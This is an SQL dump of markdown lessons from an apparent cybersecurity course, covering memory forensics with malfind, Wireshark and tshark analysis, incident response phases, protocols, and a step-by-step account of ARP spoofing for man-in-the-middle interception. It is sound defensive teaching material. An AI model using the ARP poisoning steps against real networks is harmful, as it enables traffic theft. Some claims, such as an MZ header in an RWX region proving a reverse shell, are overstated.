(1019, 806, '# Hunting Advanced Malware (Malfind)\n\nIf an attacker is somewhat sophisticated, they won\'t even leave an `evil.exe` running on the system. Instead, they will use **Code Injection**. \n\nThey will take malicious payload code and inject it directly into the memory space of a completely legitimate process, like the real, Microsoft-signed `explorer.exe` (the taskbar). \nIf you check `pslist`, `explorer.exe` looks fine. If you check `netscan`, `explorer.exe` is talking to the internet (which is suspicious, but not definitive proof).\n\nHow do you prove the legitimate process is \"infected\"?\n\n## Memory Protections (VAD - Virtual Address Descriptor)\nTo understand injection, you must understand how Windows protects memory. Windows assigns permissions to blocks of memory using a structure called the Virtual Address Descriptor (VAD).\n*   **PAGE_READONLY:** The program can read this memory, but not change it.\n*   **PAGE_READWRITE (RW):** The program can store variables and data here.\n*   **PAGE_EXECUTE_READ (RX):** The memory contains actual CPU instructions (code) that are allowed to run.\n\n**The Golden Rule:** Data should be `RW`. Code should be `RX`.\nIt is a massive security risk to allow memory to be both writable AND executable at the same time: **PAGE_EXECUTE_READWRITE (RWX)**.\nIf a block of memory is `RWX`, an attacker can write malicious code into it, and then instantly execute it. Modern Windows compiles very few programs with `RWX` permissions.\n\n## windows.malfind\nThe `windows.malfind` plugin is the ultimate malware hunter. \n\nIt ignores the names of processes. It ignores parent-child relationships. Instead, it scans the Virtual Address Descriptor (VAD) of every single process, looking for memory regions marked as **PAGE_EXECUTE_READWRITE (RWX)**.\n\nIf it finds an `RWX` section, it then checks if there is an unbacked executable (a program in memory that does not correspond to a physical file on the hard drive).\n\n*   **Syntax:** `python3 vol.py -f image.raw windows.malfind`\n*   **Output:** For every hit, it prints the Process Name, the PID, the starting memory address of the injected code, and a hex dump of the first few bytes of that injected code.\n*   **What to look for in the Hex Dump:** \n    *   `4D 5A` (MZ) - These are the magic bytes that signify a Windows Executable (PE file).\n    *   If you see a legitimate process like `svchost.exe`, and `malfind` highlights a memory region marked `RWX` that starts with `4D 5A`, you have found a reverse shell or beacon fully injected into that process.\n\n## Extracting the Malware\nOnce `malfind` or `pslist` identifies a malicious PID, you can extract the malware out of the RAM image and save it to your forensic workstation for reverse engineering.\n\n*   **windows.pslist --pid <PID> --dump:** Dumps the entire executable of a running process.\n*   **windows.malfind --pid <PID> --dump:** Dumps specifically the hidden, injected code sections identified by the malfind plugin.', 'markdown', 7, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1020, 807, '# Introduction to Packet Captures\n\nNetwork Forensics is the capture, recording, and analysis of network events in order to discover the source of security attacks. The foundational artifact of network forensics is the **Packet Capture (PCAP)** file.\n\n## Why Network Forensics?\nMalware can hide on a hard drive using rootkits. Attackers can delete Event Logs. But it is incredibly difficult for an attacker to hide their network traffic from a properly configured network sensor. \n*   *\"Packets don\'t lie.\"* If data left the building, there is a record of it.\n\n## The PCAP Format\nA `.pcap` (or the newer `.pcapng`) file contains a complete, byte-for-byte copy of every network packet that passed a specific point on the network during the capture window.\n\nThis is fundamentally different from **NetFlow logs**. \n*   **NetFlow:** Like a phone bill. It tells you *who* talked to *whom*, *when*, and for *how long* (e.g., IP A talked to IP B on port 443 for 5 minutes). It does *not* contain the conversation.\n*   **PCAP:** Like a recorded phone call. It contains the metadata *and* the actual data payloads (the contents of the downloaded file, the HTTP GET arrays, the DNS queries).\n\n## Capturing Traffic\nTo capture traffic, sensors (often running software like `tcpdump` or `Zeek`) are placed at strategic chokepoints in the network:\n*   **Ingress/Egress points:** The main firewall connecting the corporate network to the Internet.\n*   **Core Switches:** Monitoring internal Lateral Movement (e.g., User VLAN talking to the Server VLAN).\n*   **Endpoint:** Capturing traffic directly on a specific laptop using tools like Wireshark.\n\n**Promiscuous Mode:** Normally, a network card only reads packets addressed specifically to its own MAC address. To capture all traffic on a network segment, the network interface card (NIC) must be put into \"Promiscuous Mode,\" telling it to read everything it sees.', 'markdown', 6, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1021, 808, '# Wireshark Fundamentals\n\nWireshark is the world\'s foremost network protocol analyzer. It allows you to open PCAP files and view the captured network traffic at a microscopic level.\n\n## The Three-Pane View\nWhen you open a PCAP in Wireshark, the interface is split into three main panels:\n1.  **Packet List (Top):** Shows a chronological list of every captured packet, with basic summary info (Source IP, Destination IP, Protocol, Length).\n2.  **Packet Details (Middle):** Shows the selected packet broken down layer by layer, matching the OSI model (e.g., Ethernet frame -> IPv4 header -> TCP header -> HTTP payload).\n3.  **Packet Bytes (Bottom):** Shows the raw hexadecimal and ASCII representation of exactly what the raw packet looks like in binary.\n\n## Display Filters\nPCAP files can contain millions of packets. To find evil, you must master Display Filters. They allow you to hide the noise and focus only on relevant traffic.\n\n*   **Filter by IP:**\n    *   `ip.addr == 192.168.1.50` (Shows packets where this IP is either the source OR destination)\n    *   `ip.src == 10.0.0.5` (Shows packets originating from this IP)\n*   **Filter by Protocol:**\n    *   `http` (Shows only unencrypted web traffic)\n    *   `dns` (Shows only DNS queries and responses)\n*   **Filter by Port:**\n    *   `tcp.port == 443` (Shows typical HTTPS traffic)\n    *   `udp.port == 53` (Shows typical DNS traffic)\n*   **Combining Filters (Boolean Logic):**\n    *   `ip.src == 192.168.1.100 && tcp.port == 80` (Finds HTTP traffic leaving a specific host)\n    *   `http.request.method == \"POST\"` (Finds data being uploaded/sent to a web server)\n\n## \"Follow TCP Stream\"\nThis is arguably Wireshark\'s most powerful feature for analysts.\n\nA single file download might span 500 individual packets. Trying to read the file chunk by chunk in the \"Packet Bytes\" pane is impossible. \n\nBy right-clicking a packet and selecting **Follow -> TCP Stream**, Wireshark automatically reassembles all 500 packets in the correct order, strips away the networking headers, and displays the pure application data (the actual conversation) in a clean, readable text window.', 'markdown', 7, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1022, 809, '# Analyzing Protocols: DNS and HTTP\n\nMost malware needs to communicate with the outside world. To blend in, it often uses the same protocols as normal web browsing: DNS and HTTP. \n\n## DNS (Domain Name System)\nBefore malware can connect to `evil.com`, it must ask DNS for the IP address of that domain.\n*   **Port:** UDP 53.\n*   **Forensic Value:** DNS occurs *before* the connection. Because DNS is usually unencrypted, you can see every domain a computer tries to visit.\n*   **Key Indicator:** Look for DGA (Domain Generation Algorithms). If you see a machine making DNS queries for `qbxvzmpklj.com`, `zxywqabcn.net`, etc., it is highly likely infected with malware trying to find its Command and Control server.\n\n## HTTP (Hypertext Transfer Protocol)\nHTTP is the foundation of the web, but it\'s also perfect for malware because it is almost never blocked by firewalls. \n\nWhen analyzing HTTP, look closely at these fields:\n1.  **User-Agent:** This tells the server what browser the client is using (e.g., `Mozilla/5.0 (Windows NT 10.0...)`). \n    *   *Red Flag:* Malware often uses default, hardcoded User-Agents missing typical browser strings, like simply `curl/7.68.0`, `python-requests/2.25.1`, or even unique strings like `Go-http-client/1.1`.\n2.  **URI (Uniform Resource Identifier):** The actual path of the file requested (e.g., `/images/logo.png`).\n    *   *Red Flag:* Extremely long URIs with random characters might indicate data exfiltration encoded in the URL itself.\n3.  **HTTP Status Codes:**\n    *   **200 OK:** The server successfully received and answered the request (The malware successfully downloaded its payload).\n    *   **404 Not Found:** The target file isn\'t there (The C2 server infrastructure might have been taken down).\n\n## Extracting Files from PCAPs\nIf an employee downloads a suspicious executable over HTTP (unencrypted), that entire executable is stored inside the PCAP file. You can extract it.\n\nIn Wireshark:\n1. Go to **File -> Export Objects -> HTTP**.\n2. Wireshark will present a list of every file transferred over HTTP during the capture.\n3. Select the file and click \"Save As\" to dump the actual file to your hard drive for malware analysis.', 'markdown', 8, '2026-03-09 22:28:54', '2026-03-09 22:28:54');
INSERT INTO `lesson_content` (`id`, `task_id`, `content`, `content_type`, `reading_time_minutes`, `created_at`, `updated_at`) VALUES
(1023, 810, '# Tshark & Command Line Analysis\n\nWireshark is great, but its graphical interface crashes when trying to open massive PCAP files (e.g., a 10GB capture from a busy router). \n\nWhen dealing with Big Data, analysts turn to **Tshark**.\n\n## What is Tshark?\nTshark is the command-line version of Wireshark. It uses the exact same parsing engine and the exact same display filters, but it runs entirely in the terminal.\n\nBecause it doesn\'t have to render a GUI, it is incredibly fast and uses vastly less RAM. It is also easily scriptable in Bash.\n\n## Basic Syntax\n*   **Read a PCAP:** `tshark -r capture.pcap`\n*   **Apply a Filter:** `tshark -r capture.pcap -Y \"http.request.method == GET\"` (Notice the capital `-Y` for display filters).\n\n## The Power of Fields (-T fields)\nThe true power of Tshark is its ability to extract only specific pieces of data from a packet, turning a messy PCAP into a clean CSV file that can be fed into Excel, Splunk, or ElasticSearch.\n\nUse `-T fields` to tell Tshark you only want specific data.\nUse `-e <field_name>` to specify exactly what you want.\n\n**Example 1: Extract all DNS queries**\n`tshark -r capture.pcap -Y \"dns.flags.response == 0\" -T fields -e dns.qry.name`\n*This tells Tshark: Read the file, filter for DNS requests (not responses), and print out only the domain name that was queried.*\n\n**Example 2: Create an HTTP forensic timeline**\n`tshark -r capture.pcap -Y http.request -T fields -e frame.time -e ip.src -e http.request.uri -e http.user_agent`\n*This creates a clean log file showing the Time, the Source IP, the requested URL, and the User-Agent for every HTTP request in the entire capture.*\n\n## Combining with Bash\nBecause Tshark outputs text, you can pipe it into standard Linux tools like `grep`, `sort`, and `uniq`.\nIf you want to see the top 5 most frequently visited domains:\n`tshark -r capture.pcap -Y dns -T fields -e dns.qry.name | sort | uniq -c | sort -nr | head -n 5`', 'markdown', 6, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1024, 811, '# Phase 1 & 2: Preparation and Identification\n\nThe most widely adopted Incident Response framework is the **PICERL** methodology, defined by SANS. It stands for Preparation, Identification, Containment, Eradication, Recovery, and Lessons Learned.\n\n## 1. Preparation\n*\"You don\'t want your first time figuring out how to block an IP address to be during a ransomware attack at 3:00 AM.\"*\n\nPreparation is everything done *before* an attack happens. It is the most critical phase.\n*   **Creating the Team:** Establishing the Computer Security Incident Response Team (CSIRT). Knowing exactly who to call (external forensics, legal counsel, PR firm).\n*   **Infrastructure Setup:** Deploying Endpoint Detection and Response (EDR) agents, configuring central logging (SIEM), and ensuring network segmentation.\n*   **Playbooks:** Writing step-by-step guides for handling specific incidents (e.g., \"Ransomware Playbook\", \"Phishing Playbook\").\n*   **Tabletop Exercises:** Conducting simulated cyber attack drills with executives and technical teams to practice the response.\n\n## 2. Identification\nIdentification is the process of determining whether an event is actually a security incident, and if so, determining its scope.\n\n*   **Events vs. Incidents:** An *Event* is anything that happens on a network (a user logging in, a firewall blocking a packet). An *Incident* is a violation of security policy (a user logging in *from Russia using stolen credentials*).\n*   **Indicators of Compromise (IoCs):** Analysts use IoCs to identify bad activity. These are technical artifacts like malicious IPs, domains, or file hashes.\n*   **Alert Triage:** SOC analysts review alerts from the SIEM. If an alert is deemed a true positive, the Incident Response process officially begins.\n*   **Scoping:** Answering the crucial question: *\"How bad is it?\"* Did the attacker compromise one laptop, or the entire Active Directory domain controller database? You cannot contain an incident if you do not know the full scope.', 'markdown', 6, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1025, 812, '# Phase 3: Containment\n\nOnce an incident is identified and scoped, the immediate goal is to stop the bleeding. **Containment** is about preventing the attacker from doing any further damage or spreading to other systems.\n\n## The Containment Dilemma\nThere are two main strategies for containment, and choosing the right one requires executive approval.\n\n1.  **Immediate Containment (Pulling the Plug):**\n    *   *Action:* As soon as a compromised machine is found, it is instantly disconnected from the network.\n    *   *Pros:* Stops the attacker dead in their tracks. Prevents data exfiltration and ransomware encryption.\n    *   *Cons:* Alerts the attacker that you know they are there. If you haven\'t fully scoped the incident, the attacker will immediately activate their dormant \"Plan B\" backdoors on other systems and bury themselves deeper. Furthermore, you lose Volatile Evidence (RAM) if the machine is powered off.\n2.  **Delayed Containment (Monitoring):**\n    *   *Action:* The defenders leave the compromised system online and silently watch the attacker.\n    *   *Pros:* Allows defenders to fully understand the attacker\'s toolkit, discover all their backdoors, and fully scope the incident. Gives time to capture RAM and network packets.\n    *   *Cons:* Highly risky. The attacker might suddenly decide to steal sensitive data or deploy ransomware while you are watching them.\n\n## Containment Actions\nIf the decision is made to contain, the actions must be swift and comprehensive:\n*   **Network Segmentation:** Moving infected hosts to an isolated Quarantine VLAN where they cannot talk to the internet or the rest of the corporate network.\n*   **Firewall Blocks:** Blocking the known Command and Control (C2) IP addresses and domains at the perimeter firewall.\n*   **Account Disablement:** Forcing password resets on compromised user accounts and disabling compromised service accounts.\n*   **Endpoint Isolation:** Using EDR tools to logically cut the machine\'s network access, allowing it to *only* communicate with the IR team\'s forensic servers.', 'markdown', 7, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1026, 813, '# Phase 4 & 5: Eradication and Recovery\n\nAfter the attacker is contained in a box and can no longer move, you must remove them from the environment and get the business back online safely.\n\n## Phase 4: Eradication\nEradication is the actual removal of the threat.\n\n*   *\"Whack-a-Mole\" is not a strategy.* You cannot just delete the single malware file you found and call it a day. If you missed a persistent backdoor in the registry, the attacker will be back in 5 minutes.\n*   **Complete Removal:** You must delete malware, remove malicious scheduled tasks, delete attacker-created user accounts, and fix the vulnerability that allowed them in the first place (e.g., patching the exploited firewall, or implementing MFA).\n*   **Nuking from Orbit:** Because advanced malware is so good at hiding, standard IR practice is often to skip manual deletion. Instead, the infected machine\'s hard drive is completely wiped, and the OS is reinstalled from a known-good, pristine image. \"When in doubt, wipe it out.\"\n\n## Phase 5: Recovery\nRecovery is the process of putting the systems back into the production environment and ensuring they are clean.\n\n*   **Restoring from Backup:** If a machine was wiped (or encrypted by ransomware), the data must be restored from secure, offline backups.\n*   **Reconnecting:** Slowly and carefully moving the repaired systems out of the Quarantine VLAN and back into the production network.\n*   **Enhanced Monitoring:** The days following recovery are critical. The IR team will place the recovered systems under extreme scrutiny, looking for any signs that the eradication failed and the attacker has returned.\n*   **Business Continuity:** Restoring normal business operations, which might involve bringing email servers back online or reopening customer portals.', 'markdown', 6, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1027, 814, '# Phase 6: Lessons Learned\n\nOften skipped but incredibly vital, the \"Lessons Learned\" phase is where the organization improves its defenses based on the failures of the past.\n\n## The Post-Incident Report\nWithin two weeks of closing the incident, the Incident Response team must produce a comprehensive written report.\n*   **The Timeline:** A blow-by-blow, minute-by-minute account of exactly what the attacker did, and exactly how the defense team responded.\n*   **Root Cause Analysis:** Precisely how the attacker gained initial access (The \"Patient Zero\" vector). E.g., *\"Employee Bob Smith clicked a link in a phishing email on Tuesday.\"*\n*   **The Impact:** Exactly what data was stolen, how much money was lost, and the total downtime of the business. (This is usually required for cyber insurance claims and legal/regulatory compliance).\n\n## The Post-Mortem Meeting\nThe IR team holds a meeting with executives and IT managers to brutally honestly evaluate the response.\n\n*   *What went right?* (e.g., the EDR tool successfully blocked the ransomware from spreading past the initial host).\n*   *What went wrong?* (e.g., it took the SOC 14 hours to notice the alert; the backups for the HR database were corrupted and failed to restore).\n\n## Continuous Improvement\nThe ultimate goal of this phase is actionable change to ensure the same attack never succeeds again.\n*   If the attacker used a stolen password, the business implements mandatory Multi-Factor Authentication (MFA). \n*   If the IR team didn\'t know how to contain the threat quickly, the business rewrite the playbooks and funds more tabletop training exercises.\n*   The output of \"Lessons Learned\" feeds directly back into Phase 1, \"Preparation\", creating a continuous loop of strengthening security.', 'markdown', 5, '2026-03-09 22:28:54', '2026-03-09 22:28:54'),
(1028, 815, '# The OSI & TCP/IP Models\n\nTo understand how to secure a network, you must first understand how a network functions. When you type `google.com` into your browser, a complex sequence of events occurs in milliseconds to fetch that webpage.\n\nNetwork communication is broken down into theoretical layers. The two main models used to describe this are the **OSI Model** (7 layers) and the practical **TCP/IP Model** (4 layers).\n\n## The OSI Model (Open Systems Interconnection)\nThis is a conceptual framework used to understand and standardize the functions of a telecommunication system.\n\n1.  **Layer 7: Application** - The layer the user interacts with (HTTP, DNS, SMTP, FTP).\n2.  **Layer 6: Presentation** - Data translation, encryption (SSL/TLS), and compression.\n3.  **Layer 5: Session** - Establishing, maintaining, and terminating \"sessions\" between applications.\n4.  **Layer 4: Transport** - Reliable vs. unreliable delivery. Where TCP and UDP live. Data is packaged into *Segments*. Ports (like port 80 or 443) operate here.\n5.  **Layer 3: Network** - IP Addressing and Routing. How data gets from one network to an entirely different network. Data is packaged into *Packets*. Routers operate here.\n6.  **Layer 2: Data Link** - MAC Addressing. How data moves between devices on the *same* local network. Data is packaged into *Frames*. Switches operate here.\n7.  **Layer 1: Physical** - The actual cables, radio waves (Wi-Fi), fiber optics, and electrical signals representing 1s and 0s.\n\n## The TCP/IP Model\nWhile the OSI model is great for theory, the internet actually runs on the TCP/IP model, which condenses the 7 layers into 4 practical layers:\n\n1.  **Application Layer** (Combines OSI Layers 5, 6, 7): HTTP, DNS, SSH.\n2.  **Transport Layer** (Matches OSI Layer 4): TCP, UDP.\n3.  **Internet Layer** (Matches OSI Layer 3): IPv4, IPv6, ICMP.\n4.  **Network Access Layer** (Combines OSI Layers 1, 2): Ethernet, Wi-Fi, MAC addresses.\n\n## Encapsulation\nWhen you send an email, the data moves *down* the OSI layers on your computer. \n*   Your email app (L7) passing data to the Transport layer (L4), which adds a TCP header.\n*   It goes down to the Network layer (L3), which adds an IP header (Source and Dest IP).\n*   It goes down to the Data Link layer (L2), which adds a MAC header.\n*   It finally goes out the Physical layer (L1) as electricity across the wire.\n\nWhen the receiving server gets the electrical signals, it reverses the process, moving *up* the layers (De-encapsulation) until the raw email text reaches the Application layer.', 'markdown', 7, '2026-03-09 22:28:55', '2026-03-09 22:28:55'),
(1029, 816, '# Transmission Control Protocol vs. User Datagram Protocol\n\nAt Layer 4 (the Transport Layer), the two dominant protocols are TCP and UDP. Understanding the difference is crucial for identifying how network attacks work and how Firewalls are configured.\n\n## TCP (Transmission Control Protocol)\nTCP is reliable, connection-oriented, and stateful. It guarantees that data will arrive, and in the correct order.\n\n*   **The 3-Way Handshake:** Before ANY data is sent, TCP establishes a strict connection.\n    1.  **SYN:** Client says \"I\'d like to talk to you.\"\n    2.  **SYN-ACK:** Server says \"Okay, I acknowledge your request, let\'s talk.\"\n    3.  **ACK:** Client says \"Great, I\'m sending data now.\"\n*   **Reliability:** Once connected, every time a computer sends a segment of data, the receiving computer must reply with an acknowledgment (ACK). If the sender doesn\'t get the ACK (because the packet dropped over Wi-Fi), it will automatically retransmit the data.\n*   **Use Cases:** Web Browsing (HTTP/HTTPS), Email (SMTP), File Transfers (FTP/SMB), SSH. If a single byte is missing from a downloaded executable, the file breaks. TCP ensures every byte arrives.\n\n## UDP (User Datagram Protocol)\nUDP is unreliable, connectionless, and stateless. It just throws data at the destination and hopes it gets there.\n\n*   **No Handshake:** UDP does not establish a connection first. It just starts sending packets immediately.\n*   **No Acknowledgments:** If a packet gets dropped by a router on the internet, it\'s gone forever. UDP does not resend lost data.\n*   **Why use it?** Speed and low overhead. Because there are no handshakes or ACKs, UDP is much faster.\n*   **Use Cases:** Live Video Streaming (Zoom, Twitch), VoIP (Phone calls), DNS queries, Online Gaming. If you drop a single frame in a 60fps video game, it doesn\'t matter, you don\'t want the game to pause to re-download that old frame. You just proceed to the next current frame.\n\n## Ports\nBoth TCP and UDP use **Ports** to direct traffic to the right application on a computer. A computer has 1 IP address, but can have up to 65,535 ports open simultaneously. \n*   If traffic arrives at IP 192.168.1.10 on TCP Port 80, the OS hands that data to the Web Server software.\n*   If traffic arrives at TCP Port 22, the OS hands it to the SSH Server software.', 'markdown', 6, '2026-03-09 22:28:55', '2026-03-09 22:28:55'),
(1030, 817, '# Core Protocols & Services\n\nTo detect anomalies, you must know what normal looks like. Attackers constantly abuse these foundational protocols.\n\n## DNS (Domain Name System)\n*   **Port:** UDP 53 (and sometimes TCP 53)\n*   **Function:** The phonebook of the internet. It translates human-readable domain names (`infoseclabs.com`) into machine IP addresses (`104.21.5.12`).\n*   **Security Context:** Attackers use DNS for Command & Control (C2) beacons, data exfiltration (DNS Tunneling), and redirecting traffic via DNS Spoofing.\n\n## DHCP (Dynamic Host Configuration Protocol)\n*   **Port:** UDP 67 (Server) and UDP 68 (Client)\n*   **Function:** Automatically assigns IP addresses, Subnet Masks, and Default Gateways to devices when they join a network.\n*   **Security Context:** Rogue DHCP servers can assign malicious DNS settings to victim computers, executing Man-In-The-Middle attacks almost invisibly.\n\n## ARP (Address Resolution Protocol)\n*   **Layer:** Layer 2 (Data Link) / Layer 3 (Network) boundary.\n*   **Function:** Maps an IP address to a physical MAC address on a local network. If computer A (IP 10.0.0.5) wants to talk to the Router (IP 10.0.0.1) on the same Wi-Fi, it shouts \"Who has 10.0.0.1?\" via ARP. The router replies with its physical MAC address so the switch knows where to send the frame.\n*   **Security Context:** **ARP Spoofing**. An attacker can lie and reply to the ARP request saying *they* are the router. The victim then sends all their traffic to the hacker instead of the real router.\n\n## ICMP (Internet Control Message Protocol)\n*   **Layer:** Layer 3 (Network)\n*   **Function:** Used for network diagnostics and error reporting. It is not used for transferring data between systems. The `ping` command and `traceroute` commands use ICMP Echo Requests and Echo Replies.\n*   **Security Context:** Attackers use ICMP for \"Ping Sweeps\" to map out live hosts on a network. It can also be abused for ICMP tunneling to bypass firewalls or launch Smurf DDoS attacks.\n\n## HTTP/HTTPS (Hypertext Transfer Protocol)\n*   **Port:** TCP 80 (HTTP) and TCP 443 (HTTPS)\n*   **Function:** Foundation of the World Wide Web. Facilitates downloading web pages, submitting forms (POST), and API communication. HTTPS adds a layer of encryption (TLS/SSL) to secure the data in transit.\n*   **Security Context:** The vast majority of malware C2 traffic hides inside HTTPS, blending in with regular employee web browsing to evade detection by firewalls.', 'markdown', 8, '2026-03-09 22:28:55', '2026-03-09 22:28:55'),
(1031, 818, '# Navigating Wireshark\n\nWireshark is the industry standard for network protocol analysis. It allows you to see what\'s happening on your network at a microscopic level. It is the de facto standard across many commercial and non-profit enterprises, government agencies, and educational institutions.\n\n## The GUI Layout\nWhen you open a packet capture (PCAP) in Wireshark, the interface is divided into three main panes:\n\n1.  **Packet List Pane (Top):** This pane displays a summary of each packet captured. By default, it shows the packet number, time, source IP address, destination IP address, protocol, length, and detailed information. Clicking on a packet in this pane controls what is displayed in the other two panes.\n2.  **Packet Details Pane (Middle):** This pane shows the current packet, broken down layer by layer, closely mirroring the OSI and TCP/IP models. You can expand each layer (e.g., Ethernet II, IPv4, TCP) to see the specific hex values and how Wireshark interprets them.\n3.  **Packet Bytes Pane (Bottom):** This pane displays the raw, uninterpreted data of the selected packet in hexadecimal and ASCII format. When you select a field in the *Details Pane*, the corresponding bytes are highlighted in the *Bytes Pane*.\n\n## Basic Navigation and Sorting\n*   **Time Column:** By default, the Time column shows the seconds since the beginning of the capture. You can change this via `View -> Time Display Format` to show the actual Time of Day (e.g., `14:32:05.123`).\n*   **Sorting:** You can click on the headers in the Packet List pane to sort by Source IP, Destination IP, Protocol, or Length. This is useful for quickly finding the largest packets or sorting traffic by protocol.\n*   **Finding Packets:** You can use `Ctrl+F` (or `Cmd+F`) to search for specific strings, hex values, or display filters within the current capture.\n\n## Color Coding\nWireshark uses color-coding to help you quickly identify different types of traffic.\n*   **Green:** Typically, HTTP or routing traffic.\n*   **Light Blue:** UDP traffic (like DNS lookups).\n*   **Dark Blue/Purple:** TCP traffic.\n*   **Black/Red:** Packets with errors, warnings, or bad checksums (e.g., a TCP Retransmission or out-of-order packet).\n\n*Note: You can customize these coloring rules in `View -> Coloring Rules`.*', 'markdown', 7, '2026-03-09 22:28:55', '2026-03-09 22:28:55'),
(1032, 819, '# Mastering Display Filters\n\nPCAP files often contain hundreds of thousands or even millions of packets. Manually scrolling through them is impossible. **Display Filters** are your strongest weapon as an analyst to cut through the noise and find the signal.\n\n*Important:* Do not confuse Display Filters with Capture Filters. Capture filters decide what data gets written to disk. Display filters hide/show data that has already been captured.\n\n## Filter Syntax Basics\nWireshark uses a very specific syntax for filtering.\n\n*   `.==` (Equals): `ip.addr == 192.168.1.100`\n*   `.!=` (Not Equals): `ip.src != 10.0.0.5`\n*   `.>` (Greater Than): `frame.len > 1500`\n\n## IP and Protocol Filtering\n*   **By IP Address:**\n    *   `ip.src == 8.8.8.8` (Shows only packets originating *from* 8.8.8.8)\n    *   `ip.dst == 8.8.8.8` (Shows only packets going *to* 8.8.8.8)\n    *   `ip.addr == 8.8.8.8` (Shows packets where 8.8.8.8 is *either* the source or destination)\n*   **By Protocol:** Just type the protocol name.\n    *   `http`\n    *   `dns`\n    *   `tcp`\n*   **By Port:**\n    *   `tcp.port == 443` (Shows HTTPS traffic)\n    *   `udp.port == 53` (Shows DNS traffic)\n\n## Boolean Operators (Combining Filters)\nTo find highly specific events, you must chain filters together.\n\n*   **AND (`&&`):** Both conditions must be true.\n    *   `ip.src == 192.168.1.50 && tcp.port == 80` (Finds HTTP traffic originating from a specific laptop).\n*   **OR (`||`):** Only one condition needs to be true.\n    *   `tcp.port == 80 || tcp.port == 443` (Shows both HTTP and HTTPS traffic).\n*   **NOT (`!`):** Excludes traffic.\n    *   `ip.addr == 192.168.1.50 && !(dns)` (Shows all traffic for that IP *except* DNS queries).\n\n## Advanced Filtering (Contains and Matches)\n*   **Contains:** Searches for a specific string payload inside the packets.\n    *   `http contains \"password\"` (Searches all unencrypted HTTP packets for the word \"password\").\n*   **Matches:** Uses Regular Expressions (Regex) for powerful pattern matching.\n    *   `http.host matches \".(cn|ru)$\"` (Finds HTTP traffic going to Russian or Chinese top-level domains).', 'markdown', 8, '2026-03-09 22:28:55', '2026-03-09 22:28:55'),
(1033, 820, '# Following Streams & Object Extraction\n\nWhen an attacker downloads malware via HTTP, or an employee uploads a confidential PDF via FTP, that data is split into hundreds of separate TCP segments. Looking at one packet at a time is useless for understanding the \"big picture.\"\n\n## Follow TCP Stream\nThis is arguably Wireshark\'s most powerful feature for reconstructing events.\n\nIf you right-click a packet that is part of a larger conversation (like an HTTP GET request) and select **Follow -> TCP Stream**, Wireshark performs magic:\n1.  It automatically figures out the source/dest IPs and ports.\n2.  It reassembles all the fragmented packets in the correct order.\n3.  It strips away all the OSI headers (MAC, IP, TCP headers).\n4.  It presents you with a clean text window showing *only* the application layer data.\n\n**Reading the Stream:**\n*   Text colored **Red** represents data sent from the Client to the Server (e.g., the browser asking \"GET /index.html\").\n*   Text colored **Blue** represents data sent from the Server to the Client (e.g., the server replying \"200 OK\" and the HTML code).\n\n*Note:* If you \"Follow\" a stream of an encrypted protocol like HTTPS or SSH, you will just see gibberish characters, because the payload is encrypted.\n\n## Extracting Objects\nIf you can see a file (like an image, a PDF, or an .exe) being downloaded over an unencrypted protocol (HTTP, FTP, SMB), Wireshark can carve that file right out of the PCAP and save it to your hard drive so you can analyze it.\n\n**How to Extract (HTTP):**\n1.  Go to **File -> Export Objects -> HTTP...**\n2.  Wireshark will open a window listing every single file transferred over HTTP during the entire packet capture.\n3.  It lists the Packet Number, Hostname, Content Type (e.g., `image/png` or `application/x-msdownload`), and the Filename.\n4.  You can select a suspicious file and click **\"Save\"** to put it on your Desktop. You can then submit that file to VirusTotal or analyze it in a sandbox.\n\nThis is a critical skill for extracting malware payloads that defense sensors may have missed, but the packet capture recorded.', 'markdown', 7, '2026-03-09 22:28:55', '2026-03-09 22:28:55'),
(1034, 821, '# ARP Spoofing & Poisoning\n\nThe Address Resolution Protocol (ARP) is fundamentally insecure by design because it is a \"stateless\" and \"trusting\" protocol. It was built in the early days of networking when everyone on a local network trusted each other.\n\n## How Normal ARP Works\nAs a reminder, ARP operates at Layer 2 (Data Link). When your computer (IP: `10.0.0.5`) wants to send a packet to the internet, it must first send it to your Default Gateway (the Router, IP: `10.0.0.1`). However, switches don\'t understand IP addresses; they only understand physical MAC addresses.\n\n1.  Your computer shouts out to the entire network: *\"Who has IP 10.0.0.1? Tell 10.0.0.5.\"*\n2.  The Router (`10.0.0.1`) replies directly to your computer: *\"I am 10.0.0.1, and my MAC address is AA:BB:CC:DD:EE:FF.\"*\n3.  Your computer saves this mapping in its temporary **ARP Cache**.\n\n## The Attack: ARP Spoofing\nThe flaw in ARP is that an attacker can send out an **ARP Reply** *even if no one asked for it* (this is called a Gratuitous ARP). Furthermore, devices will gladly accept this unsolicited reply and update their ARP cache without any verification.\n\n**The Scenario:**\nLet\'s say the Hacker\'s MAC address is `66:66:66:66:66:66`.\n\n1.  The attacker sends a forged ARP Reply to the Victim (`10.0.0.5`) saying: *\"Hey, the Router (10.0.0.1) is now at MAC 66:66:66:66:66:66.\"*\n2.  The Victim\'s computer blindly trusts this and updates its ARP cache.\n3.  The attacker also sends a forged ARP Reply to the true Router (`10.0.0.1`) saying: *\"Hey, the Victim (10.0.0.5) is now at MAC 66:66:66:66:66:66.\"*\n4.  The Router blindly trusts this and updates its ARP cache.\n\n## The Result: Man-in-the-Middle (MITM)\nBecause the attacker has \"poisoned\" the ARP cache of both the Victim and the Router, all traffic flowing between them now routes directly through the attacker\'s machine. \n\nThe attacker can now:\n*   **Packet Sniff:** Read unencrypted traffic (HTTP, FTP, Telnet) in real-time, stealing passwords and session cookies.\n*   **Packet Modify:** Alter the traffic in transit (e.g., replacing a legitimate software download with a malware payload).\n*   **Denial of Service (DoS):** Simply drop all the packets from the victim, disconnecting them from the internet (a \"Blackhole\" attack).\n\n*Note: ARP Spoofing only works on the LOCAL network (LAN). An attacker in Russia cannot ARP Spoof a victim in New York, because MAC addresses do not cross routers.*', 'markdown', 7, '2026-03-09 22:28:55', '2026-03-09 22:28:55'),
